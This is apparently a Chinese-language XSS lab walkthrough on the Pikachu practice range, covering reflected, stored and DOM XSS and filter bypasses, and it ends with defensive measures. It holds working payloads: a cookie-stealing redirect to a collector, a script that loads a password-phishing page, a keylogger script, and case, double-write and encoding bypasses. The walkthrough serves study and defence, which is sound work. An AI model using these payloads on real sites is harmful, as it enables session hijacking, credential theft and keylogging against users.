XSS
原理:
程式對輸入和輸出沒有做合適的處理,導致“精心構造”的字元輸出在前端時被瀏覽器當作有效程式碼解析執行從而產生危害。
分類 :
危害:儲存型 > 反射型 > DOM型
-
反射型XSS:<非持久化>
互動的資料一般不會被存在資料庫裡面,一次性 ,所見即所得,一般出現在查詢頁面等 -
儲存型XSS:<持久化>
互動的資料會被存在資料庫裡面,永久性儲存 ,一般出現在留言板,註冊等頁面 -
DOM型XSS:<基於文件物件模型DOM的漏洞>
不與後臺伺服器產生資料互動,是一種通過DOM操作前端程式碼 輸出的時候產生的問題,一次性 ,也屬於反射型
常見用途:
-
Cookie劫持
-
構造GET與POST請求
-
XSS釣魚
-
獲取使用者的真實IP地址
測試流程:
-
在目標上找輸入點,比如查詢介面、留言板
-
輸入一組 “特殊字元(>,',"等)+唯一識別字元” ,點選提交後,檢視返回原始碼,看後端返回的資料是否有處理
-
通過搜尋定位到唯一字元,結合唯一字元前後語法確定是否可以構造執行js的條件(構造閉合)
-
提交構造的指令碼程式碼(以及各種繞過姿勢),看是否可以成功執行,如果成功執行則說明存在XSS漏洞
一、反射型XSS(get)
當輸入內容時, 發現內容被執行寫入當網頁
<>6666
直接進行注入
#測試時,將標籤中_刪除
<scr_ipt>alert(document.cookie)</scr_ipt>
<scr_ipt>alert("1")</scr_ipt>
發現,對輸入的字串的有長度限制
方法一
修改前端程式碼
修改為100後, 可以輸入完整的長度,成功彈窗
方法二
抓包修改
二、反射性XSS(post)
利用xss盜取使用者的cookie,模擬了一個使用者登入的過程
登入成功後, 就和Get型一樣的介面了
但是和xss(get)不同,在xss(get)可以直接在url上構造payload
#測試時,將標籤中_刪除
http://192.168.132.132/pikachu/vul/xss/xss_reflected_get.php?message=<scr_ipt>document.location='http://192.168.132.132/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie</script>&submit=submit
來誘使使用者點選, 盜取使用者的cookie
url中cookie為被攻擊者的cookie
通過使用短連結進行偽裝,使被攻擊者不會意識到這是攻擊url
因為在POST方式中, 就算將構造好(含攻擊程式碼)的URL給使用者點選了, 也不會直接觸發拿到cookie, 反而會直接彈出使用者登入提示。
這時候我們就得用一個伺服器(攻擊者的), 偽造POST請求去登入, 並且盜取使用者登入成功後的cookie
xss後臺搭建
pkxss目錄下inc/config.inc.php檔案需要進行配置,配置完成後,初始化資料庫
存在cookie蒐集、釣魚結果、鍵盤結果3個模組
cookie蒐集模組中,存放被攻擊者cookie的資料
先修改xss後臺下的pkxss/xcookie/cookie.php檔案,將IP地址改為漏洞伺服器的地址,使被攻擊者不知道自己被攻擊了
該後臺為本地搭建,所以地址為本地
模擬使用者點選該網址
#測試時,將標籤中_刪除
<scr_ipt>document.location='http://192.168.132.132/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie</scr_ipt>
192.168.132.132是攻擊者也是被攻擊者,收集被攻擊者cookie的伺服器地址(也是本地), (需要進行URL編碼才能訪問)
訪問之後, 自動重定向首頁, (是為了不讓使用者察覺被攻擊的事實), 如果重定向其他地址, 使用者就會知道被攻擊了
檢視cookie收集模組,存放被攻擊者的cookie
三、儲存型XSS
如果論壇留言板模組,存在儲存型XSS漏洞,會將payload儲存到網站資料庫,每一個使用者瀏覽留言板的時候都會被攻擊,這種攻擊時持久化攻擊
輸入payload,進行嘗試測試
漏洞利用
- 注入跳轉網頁
#測試時,將標籤中_刪除
<scr_ipt>document.location='https://www.cnblogs.com/confidant'</scr_ipt>
注:每次進入留言版,都會跳轉,需要進入資料庫中,刪除該條資料
- 網站釣魚
pikachu靶場中存在一個pkxss目錄下/xfish目錄,其中存放關於釣魚指令碼
釣魚指令碼使用的是 Basic認證 ** ,**
我們在這個頁面上嵌入一個惡意請求,當使用者開啟這個頁面時, 就會向攻擊者的伺服器傳送請求,這個請求會返回一個Basic認證的頭部: 會彈出一個提示框,要求受害者輸入賬號密碼,從而盜取使用者的賬號密碼。(比較明顯的攻擊方式)
配置指令碼pkxss/xfish/fish.php,將往重定向網址修改管理後臺
然後將攻擊惡意程式碼嵌入留言板中: (弄一個彈窗來判斷是否成功注入, 現實中彈窗就太囂張了...)
#測試時,將標籤中_刪除
<script src="http://192.168.132.132/pikachu/pkxss/xfish/fish.php"></script>
當被攻擊者輸入自己的密碼就會被釣魚, 釣魚資訊儲存在攻擊者伺服器上,地址為
http://192.168.132.132/pikachu-master/pkxss/xfish/pkxss_fish_result.php
可以看到剛剛被釣魚的使用者資訊, (並且資訊儲存在資料庫中)
- 獲取鍵盤記錄
攻擊js指令碼位於網站目錄下的 pkxss/rkeypress/rk.js
同樣需要將網址修改為攻擊者的地址(也就是本機地址)
上面指令碼獲取了使用者的鍵盤記錄後, 再重定向到 rkserver.php
AJAX的請求預設情況下是不能跨域的,這個請求預設情況下是會失敗的
去 /var/www/html/pikachu/pkxss/rkeypress 中 rkserver.php刪除註釋
攻擊者往留言板注入惡意程式碼
#測試時,將標籤中_刪除
<scr_ipt src='http://192.168.132.132/pikachu/pkxss/rkeypress/rk.js'></scr_ipt>
然後在頁面上隨意輸入鍵盤, 會呼叫rkserver.php記錄鍵盤活
訪問xss鍵盤記錄後臺
http://192.168.10.100/pikachu/pkxss/rkeypress/pkxss_keypress_result.php
四、DOM型XSS
DOM可以理解為訪問HTML的標準介面,DOM裡面會把我們的HTML分成一個DOM樹
測試'"<>?&6666
輸入圖中的內容,觀察到如下輸出,發現和輸入的內容有區別
觀察頁面原始碼
這裡有段JS程式碼,它通過 getElementById 獲取到了標籤 Id 為 text的內容賦值給str然後又把 str 的內容通過字串拼接的方式寫到了 a 標籤的 href 屬性中,a標籤會寫到 Id 為 dom的 div 標籤中
漏洞利用
方法一
利用JavaScript協議
javascript:alert("You are attacked !!")
方法二
繞過閉合
我們通過閉合的方式構造Payload
' onclick="alert('xss')">
造成DOM型XSS的原因是前端的輸入被DOM給獲取到了,通過DOM又在前端輸出,跟反射型和儲存型比起來,它是不經過後臺互動的
五、DOM型XSS
進行測試
'2"$&#<>/\
檢視原始碼,這裡也有個JS程式碼,它定義了一個domxss函式它利用 window.location.search 獲取瀏覽器中URL的內容
然後賦值給 str然後經過URL解碼和字串分隔,取出URL中的引數內容再把 “+” 替換為 “ ”(空格),賦值給 xss
最後把 xss 拼接到 a 標籤中,然後寫到 Id 為 dom 的 div 標籤中
' onclick="alert('xss')">
六、XSS盲打
XSS盲打不是攻擊型別,而是一個攻擊場景
當我們輸入內容並提交的時候,
我們輸入資料,提交後我們輸入的內容不會在前對輸出,而是提交到了後臺,可能管理員會去看,如果我們輸入一個JS程式碼,管理員登入後臺管理介面,如果後臺把我們的內容輸出,那後臺管理員可能遭受到我們的XSS攻擊,我們提交以下內容
發現內容無法在網頁前端顯示出來, 也就是沒有寫入到前端頁面, 而是提交到了後臺
倘若注入xss, 則無法得知是否xss被執行, 但是管理員回去看, 假如我們注入了xss程式碼, 同時管理員又訪問了後臺, 且後臺把我們的內容輸出, 那麼後臺管理員可能遭受到我們的XSS攻擊
並登入後臺管理介面(賬號密碼為admin,123456)
http://192.168.132.132/pikachu/vul/xss/xssblind/admin_login.php
一登入進來就遭受了XSS攻擊
七、XSS之過濾
在實際的網站中,或多或少都會做一些安全措施,但是這些安全措施也存在方法、邏輯不嚴謹,可以被繞過
轉換的思路
-
前端限制繞過,直接抓包重放,或者修改html前端程式碼。比如反射型XSS(get)中限制輸入20個字元。
-
大小寫,後臺可能用正規表示式匹配,如果正則裡面只匹配小寫,那就可能被繞過。
#測試時,將標籤中_刪除
<SCR_IPT>aLeRT(111)</sCRIpt>
- 雙寫(拼湊),後臺可能把script標籤去掉換,但可能只去掉一次。
#測試時,將標籤中_刪除
<scri<scr_ipt>pt>alert(111)</scri</scr_ipt>pt>
- 註釋干擾,加上註釋後可能可以繞過後臺過濾機制。
<scri<!--test-->pt>alert(111)</sc<!--test-->ript>
編碼的思路
核心思路:
-
後臺過濾了特殊字元,比如script標籤,但該標籤可以被各種編碼,後臺不一定過濾
-
當瀏覽器對該編碼進行識別時,會翻譯成正常的標籤,從而執行
#測試時,將標籤中_刪除
<im_g src=x onerror=alert('xss')>
將alert('xss')進行HTML編碼
<im_g src=x onerror=alert('xss')>
測試時,將標籤中_刪除
<scr_ipt>;";6666
可以看到我們輸入的<script標籤被去掉了
漏洞利用
#測試時,將標籤中_刪除
<ScR_iPt>alert(1)</ScR_ipt> // 大小寫混合繞過
八、XSS之htmlspecialchars
htmlspecialchars() 函式
PHP裡面把預定義的字元轉換為HTML實體的函式
預定義的字元是
-
& 成為 &
-
" 成為 "
-
' 成為 '
-
< 成為 <
-
成為 >
可用引號型別
-
ENT_COMPAT:預設,僅編碼雙引號
-
ENT_QUOTES:編碼雙引號和單引號
-
ENT_NOQUOTES:不編碼任何引號
輸入"<>?#'&6666,進行測試
可以看到 ",>和<都經過了編碼,剩下的字元沒有,單引號依然可以使用
我們可以構造下面的Payload,我們在Payload前後都新增一個單引號用於閉合 href 中的單引號
' onclick=alert(1111) '
九、XSS之href輸出
檢視原始碼
這個頁面會接收我們的輸入的message,然後判斷我們輸入的網址,如果輸入的不是百度會對我們輸入的內容用 htmlspecialchars() 進行處理
這個函式轉義單引號、雙引號和左右尖括號
然後輸出到 a 標籤的 href 屬性中,在 a 標籤的href屬性中,可以用javascript協議來執行JS
構造Payload如下,沒有上面被轉義的字元
javascript:alert(111)
十、XSS之js輸出
輸入資料,檢視原始碼
它會把我們的輸入放到JS中,然後對這個變數進行判斷,然後再輸出
我們可以構造一個閉合,先閉合script標籤,然後再插入自己的JS程式碼
#測試時,將標籤中_刪除
'</scr_ipt><scr_ipt>alert('xss')</scr_ipt>
這個漏洞的輸出點是在JS中,通過使用者的輸入動態生成了JS程式碼
JS有個特點,它不會對實體編碼進行解釋,如果想要用htmlspecialchars對我們的輸入做實體編碼處理的話
在JS中不會把它解釋會去,這樣解決了XSS問題,但不能構成合法的JS
所以在JS的輸出點應該對應該使用 \對特殊字元進行轉義
防禦措施
-
對輸入(和URL引數)進行過濾,對輸出進行編碼
-
輸入的時候只允許 http 或 https 開頭的協議,才允許輸出,其次再進行htmlspecialchars(html編碼)處理
-
過濾或移除js 事件的標籤和特殊的 html 標籤
-
設setcookie=true,使cookie不能被js獲取
參考文章
https://blog.csdn.net/angry_program/article/details/104373952